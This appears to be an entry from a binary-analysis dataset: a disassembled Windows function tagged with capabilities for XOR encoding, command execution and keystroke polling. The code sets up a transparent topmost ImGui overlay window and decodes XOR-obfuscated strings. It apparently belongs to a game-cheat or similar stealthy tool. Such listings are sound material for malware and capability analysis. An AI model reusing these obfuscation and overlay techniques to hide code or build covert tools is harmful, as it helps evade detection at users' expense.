Function at 0x1400be9e0
Capabilities:
Encode data using xor
Execute command
Log keystrokes via polling

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1998]
mov eax, 0x1a98
call fcn.14013abe0
sub rsp, rax
movaps xmmword [rsp + 0x1a80], xmm6
movaps xmmword [rsp + 0x1a70], xmm7
movaps xmmword [rsp + 0x1a60], xmm8
movaps xmmword [rsp + 0x1a50], xmm9
movaps xmmword [rsp + 0x1a40], xmm10
movaps xmmword [rsp + 0x1a30], xmm11
movaps xmmword [rsp + 0x1a20], xmm12
movaps xmmword [rsp + 0x1a10], xmm13
movaps xmmword [rsp + 0x1a00], xmm14
movaps xmmword [rsp + 0x19f0], xmm15
xor r15d, r15d
mov r14d, r15d
mov dword [rbp + 0xa8], r15d
mov dword [rbp + 0x10b0], 0x50
mov dword [rbp + 0x10b4], 0x40
lea rax, [0x1400cf7f0]
mov qword [rbp + 0x10b8], rax
mov qword [rbp + 0x10c0], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x10c8], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10e0], xmm1
movups xmm0, xmmword [str.TD___]
movups xmmword [rbp + 0x638], xmm0
lea edi, [r15 + 4]
lea r13d, [r15 + 0x1f]
mov r12d, dword [reloc.WS2_32.dll_accept]
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400bec72
mov r8d, r15d
cmp r12d, 2
jl 0x1400bec31
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, edi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x63c]
mov r8d, dword [rbp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400beb30
jmp 0x1400bec72
lea r9, [rbp + 0x638]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400bec40
lea rax, [rbp + 0x638]
mov qword [rbp + 0x10f0], rax
mov qword [rbp + 0x10f8], r15
lea rcx, [rbp + 0x10b0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov r10d, dword [0x140196f0c]
mov r11d, dword [0x140196f08]
movups xmm0, xmmword [str.TD___]
movups xmmword [rbp + 0xef0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400bee52
mov r8d, r15d
cmp r12d, 2
jl 0x1400bee11
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, edi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0xef4]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400bed10
jmp 0x1400bee52
lea r9, [rbp + 0xef0]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400bee20
mov qword [rsp + 0x58], r15
mov rax, qword [rbp + 0x10c8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], r10d
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x80000000
lea r8, [rbp + 0xef0]
mov rdx, qword [rbp + 0x10f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rsi, rax
mov qword [rbp + 0x648], rax
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x14016c070]
movdqu xmmword [rbp + 0xee0], xmm0
lea rdx, [rbp + 0xee0]
mov rcx, rsi
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, rsi
call fcn.1400cf5a0
test al, al
jne 0x1400bef14
call fcn.1400cf720
mov rdx, qword [rbp + 0x10c8]
mov rcx, qword [rbp + 0x10f0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov edx, 3
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x38e0
mov r9d, 8
mov r8d, 0x46c
lea rcx, str.1.90.7
call fcn.14002e280
xor ecx, ecx
call fcn.14001d4f0
mov rbx, qword [0x140196dd0]
test rbx, rbx
jne 0x1400bef97
mov r8d, 0x1101
lea rdx, str.C:UsersShovenDesktopmenuimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140196dd0]
or dword [rbx + 8], 3
xor ecx, ecx
call fcn.140040a90
xor edx, edx
mov rcx, rsi
call fcn.140068ca0
mov rdx, qword [0x140197640]
mov rcx, qword [0x1401975e8]
call fcn.140068990
lea rcx, [rbp + 0x1100]
call fcn.140046c20
movups xmm0, xmmword [0x1401675d0]
movups xmmword [rbp + 0xa48], xmm0
movsd xmm1, qword [0x1401675e0]
movsd qword [rbp + 0xa58], xmm1
movzx eax, word [0x1401675e8]
mov word [rbp + 0xa60], ax
movzx eax, byte [0x1401675ea]
mov byte [rbp + 0xa62], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400bf157
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, edi
movdqa xmm7, xmmword [0x14016c160]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0xa4c]
mov edx, dword [rbp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400bf050
cmp r8d, 0x1b
jge 0x1400bf1a0
movsxd rax, r8d
lea r9, [rbp + 0xa48]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400bf170
lea rdi, [0x140164880]
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1100]
movss xmm12, dword [0x14016bd44]
movaps xmm2, xmm12
lea rdx, [rbp + 0xa48]
mov rcx, qword [rbx + 0x38]
call fcn.140047550
mov qword [0x140197010], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x14016bd50]
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197018], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm6, dword [0x14016bd54]
movaps xmm3, xmm6
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197020], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x14016bd48]
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197028], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movaps xmm3, xmm12
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197030], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x14016bd4c]
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197038], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x14016bd3c]
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197050], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x14016be1c]
mov r8d, 0x133ac
lea rdx, [0x140182370]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197058], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
movaps xmm3, xmm6
mov r8d, 0x115c
lea rdx, [0x1401811e0]
mov rcx, qword [rbx + 0x38]
call fcn.140047880
mov qword [0x140197040], rax
mov rcx, rsi
call fcn.1400be880
xor r13b, r13b
mov dword [rbp + 0xac], r13d
mov ecx, dword [0x140196f48]
call fcn.1400bdd60
mov qword [0x140196f10], rax
movzx eax, byte [reloc.WS2_32.dll_accept]
cmp qword [0x140197450], r14
cmove eax, r15d
mov byte [reloc.WS2_32.dll_accept], al
movss xmm11, dword [0x14016bc9c]
xorps xmm10, xmm10
movss xmm15, dword [0x14016bd58]
movss xmm13, dword [0x14016bcdc]
movss xmm9, dword [0x14016bd64]
movss xmm14, dword [0x14016bd34]
movss xmm8, dword [0x14016be24]
mov rdx, qword [0x140196f78]
add rdx, 0x30c
mov r9d, 0x40
lea r8, [0x140196e90]
mov rcx, qword [0x140196ee0]
call fcn.140075d80
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rdi, rax
cmp rax, qword [0x140196f10]
jne 0x1400bf503
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x30], r15
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetClientRect]
lea rdx, [rbp + 0x30]
mov rcx, rsi
call qword [sym.imp.USER32.dll_ClientToScreen]
mov ecx, dword [rbp + 0x30]
mov dword [rbp], ecx
mov eax, dword [rbp + 0x34]
mov dword [rbp + 4], eax
mov rbx, qword [0x140196dd0]
test rbx, rbx
jne 0x1400bf45a
mov r8d, 0x1101
lea rdx, str.C:UsersShovenDesktopmenuimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140196dd0]
mov dword [rbx + 0x18], 0x3c888889
lea rcx, [rbp + 0x650]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rbp + 0x650]
sub eax, dword [rbp + 0x30]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xf8], xmm0
mov eax, dword [rbp + 0x654]
sub eax, dword [rbp + 0x34]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xfc], xmm0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400bf4ca
mov byte [rbx + 0x100], 1
mov byte [rbx + 0x2b18], 1
mov eax, dword [rbx + 0xfc]
mov dword [rbx + 0x2ac8], eax
jmp 0x1400bf4d1
mov byte [rbx + 0x100], 0
mov edx, 3
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindow]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edi, 1
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xf80]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400bf595
nop word [rax + rax]
cmp dword [rbp + 0xf88], 0xff
jne 0x1400bf548
mov rcx, qword [rbp + 0xf98]
call fcn.1400be900
lea rcx, [rbp + 0xf80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xf80]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx r13d, r13b
cmp dword [rbp + 0xf88], 0x12
cmove r13d, edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xf80]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400bf530
mov dword [rbp + 0xac], r13d
mov r8d, dword [0x1401975a4]
test r8d, r8d
je 0x1400bf600
mov r9d, dword [0x1401975c4]
test r9d, r9d
je 0x1400bf600
mov rcx, qword [0x1401975b0]
test rcx, rcx
je 0x1400bf5d4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401975b0], r15
mov r8d, dword [0x1401975a4]
mov r9d, dword [0x1401975c4]
mov rcx, qword [0x1401975d8]
mov rax, qword [rcx]
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [rax + 0x68]
mov dword [0x1401975c4], r15d
mov dword [0x1401975a4], r15d
call fcn.1400cf7a0
call fcn.140068c50
call fcn.140069b50
call fcn.14001fe80
mov rcx, qword [0x140197010]
call fcn.140029cc0
cmp byte [0x140196dca], 0
je 0x1400bf81e
movsd xmm0, qword [str.pptb]
movsd qword [rbp + 0xb20], xmm0
mov eax, dword [0x140169b60]
mov dword [rbp + 0xb28], eax
movzx eax, word [0x140169b64]
mov word [rbp + 0xb2c], ax
movzx eax, byte [0x140169b66]
mov byte [rbp + 0xb2e], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400bf786
movdqa xmm4, xmmword [0x14016c610]
mov eax, 4
movd xmm6, eax
mov eax, Ordinal_35
movd xmm5, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.pptb]
pxor xmm2, xmm1
movd dword [rbp + 0xb20], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb24]
pxor xmm2, xmm1
movd dword [rbp + 0xb24], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp + 0xb20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400bf7a0
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
lea r8d, [rax + 0x64]
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movaps xmm0, xmmword [0x14016c5b0]
movaps xmmword [rbp], xmm0
lea rcx, [rbp + 0xb20]
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x28], dil
mov byte [rsp + 0x20], dil
lea r9, [rbp]
mov edx, eax
movaps xmm0, xmm12
movd ecx, xmm0
call fcn.140076b60
cmp byte [0x140196fbe], 0
je 0x1400bf8a1
cmp byte [0x140196fb2], 0
jne 0x1400bf839
cmp byte [0x140196fad], 0
je 0x1400bf8a1
call fcn.14001f460
mov rcx, rax
movd xmm2, dword [reloc.WLDAP32.dll_Ordinal_30]
cvtdq2ps xmm2, xmm2
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x658], xmm0
movss dword [rbp + 0x65c], xmm1
movss dword [rsp + 0x28], xmm11
mov dword [rsp + 0x20], 0x60
mov r9d, 0xffffffff
lea rdx, [rbp + 0x658]
call fcn.140044140
cmp byte [0x140196fda], 0
je 0x1400bfbba
call fcn.14001f460
mov rbx, rax
movups xmm0, xmmword [0x140181190]
movups xmmword [rbp + 0xf00], xmm0
lea rcx, [rbp + 0xf00]
call fcn.14001b990
mov r9d, eax
mov r8d, dword [0x140196f0c]
test r8d, r8d
jns 0x1400bf8e2
inc r8d
sar r8d, 1
lea ecx, [r8 + 1]
movd xmm2, ecx
cvtdq2ps xmm2, xmm2
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm3, eax
cvtdq2ps xmm3, xmm3
movaps xmm0, xmm3
addss xmm0, dword [0x140181158]
addss xmm0, dword [0x140181134]
addss xmm0, xmm11
movss dword [rbp + 0x660], xmm0
movss dword [rbp + 0x664], xmm2
lea eax, [r8 - 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm3, dword [0x140181134]
addss xmm3, xmm11
movss dword [rbp + 0x668], xmm3
movss dword [rbp + 0x66c], xmm0
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x660]
lea rdx, [rbp + 0x668]
mov rcx, rbx
call fcn.140043d30
call fcn.14001f460
mov rbx, rax
movups xmm0, xmmword [0x140181190]
movups xmmword [rbp + 0xf10], xmm0
lea rcx, [rbp + 0xf10]
call fcn.14001b990
mov r9d, eax
mov r8d, dword [0x140196f0c]
test r8d, r8d
jns 0x1400bf9a8
inc r8d
sar r8d, 1
lea ecx, [r8 - 1]
movd xmm2, ecx
cvtdq2ps xmm2, xmm2
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm3, eax
cvtdq2ps xmm3, xmm3
movaps xmm0, xmm3
subss xmm0, dword [0x140181158]
subss xmm0, dword [0x140181134]
subss xmm0, xmm11
movss dword [rbp + 0x18c], xmm0
movss dword [rbp + 0x190], xmm2
lea eax, [r8 + 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm3, dword [0x140181134]
subss xmm3, xmm11
movss dword [rbp + 0x194], xmm3
movss dword [rbp + 0x198], xmm0
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x18c]
lea rdx, [rbp + 0x194]
mov rcx, rbx
call fcn.140043d30
call fcn.14001f460
mov rbx, rax
movups xmm0, xmmword [0x140181190]
movups xmmword [rbp + 0xf20], xmm0
lea rcx, [rbp + 0xf20]
call fcn.14001b990
mov r9d, eax
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movaps xmm1, xmm2
addss xmm1, dword [0x140181158]
movss xmm3, dword [0x140181134]
addss xmm1, xmm3
addss xmm1, xmm11
mov ecx, dword [0x140196f08]
test ecx, ecx
jns 0x1400bfa99
inc ecx
sar ecx, 1
lea eax, [rcx + 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x19c], xmm0
movss dword [rbp + 0x1a0], xmm1
addss xmm2, xmm3
addss xmm2, xmm11
lea eax, [rcx - 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1a4], xmm0
movss dword [rbp + 0x1a8], xmm2
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x19c]
lea rdx, [rbp + 0x1a4]
mov rcx, rbx
call fcn.140043d30
call fcn.14001f460
mov rbx, rax
movups xmm0, xmmword [0x140181190]
movups xmmword [rbp + 0xf30], xmm0
lea rcx, [rbp + 0xf30]
call fcn.14001b990
mov r9d, eax
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movaps xmm1, xmm2
subss xmm1, dword [0x140181158]
movss xmm3, dword [0x140181134]
subss xmm1, xmm3
subss xmm1, xmm11
mov ecx, dword [0x140196f08]
test ecx, ecx
jns 0x1400bfb59
inc ecx
sar ecx, 1
lea eax, [rcx - 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1ac], xmm0
movss dword [rbp + 0x1b0], xmm1
subss xmm2, xmm3
subss xmm2, xmm11
lea eax, [rcx + 1]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x1b4], xmm0
movss dword [rbp + 0x1b8], xmm2
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x1ac]
lea rdx, [rbp + 0x1b4]
mov rcx, rbx
call fcn.140043d30
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400c3a28
movaps xmm6, xmmword [0x14016c0c0]
mov rax, qword [0x140196dd0]
test rax, rax
jne 0x1400bfbfb
mov r8d, 0xc2d
lea rdx, str.C:UsersShovenDesktopmenuimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140196dd0]
movups xmmword [rax + 0x3a00], xmm6
cmp byte [0x140196fe0], 0
je 0x1400c01a3
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400bfe11
movss xmm0, dword [0x1401811dc]
movaps xmm1, xmm0
mulss xmm1, dword [0x14016bd14]
mulss xmm0, dword [0x14016bf48]
movss dword [rbp + 0x1bc], xmm0
movss dword [rbp + 0x1c0], xmm1
xor edx, edx
lea rcx, [rbp + 0x1bc]
call fcn.14002a3c0
mov eax, dword [str.ftrvj9]
mov dword [rbp + 0x120], eax
movzx eax, word [0x140167b1c]
mov word [rbp + 0x124], ax
mov byte [rbp + 0x120], 0x52
xor byte [rbp + 0x121], 0x35
xor byte [rbp + 0x122], 0x36
xor byte [rbp + 0x123], 0x37
xor byte [rbp + 0x124], 0x38
xor byte [rbp + 0x125], 0x39
xor edx, edx
lea r8d, [rdx + 0x3b]
lea rcx, [rbp + 0x120]
call fcn.1400265a0
mov rcx, qword [0x140196dd0]
mov rax, qword [rcx + 0x4040]
movsd xmm0, qword [rax + 0x28]
movsd qword [rbp + 0x1c8], xmm0
mov rax, qword [rcx + 0x4040]
movss xmm6, dword [rax + 0x30]
movss xmm7, dword [rax + 0x34]
call fcn.14001f460
mov rbx, rax
mov qword [rbp + 0x1d0], 0
movss xmm8, dword [0x1401811dc]
mulss xmm8, xmm15
movaps xmm0, xmmword [0x14016c4e0]
movups xmmword [rbp + 0xb98], xmm0
lea rcx, [rbp + 0xb98]
call fcn.14001b990
addss xmm7, dword [rbp + 0x1cc]
addss xmm6, dword [rbp + 0x1c8]
movss dword [rbp + 0x1d8], xmm6
movss dword [rbp + 0x1dc], xmm7
movss dword [rsp + 0x38], xmm10
mov dword [rsp + 0x30], r15d
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm8
mov r9d, eax
lea r8, [rbp + 0x1d8]
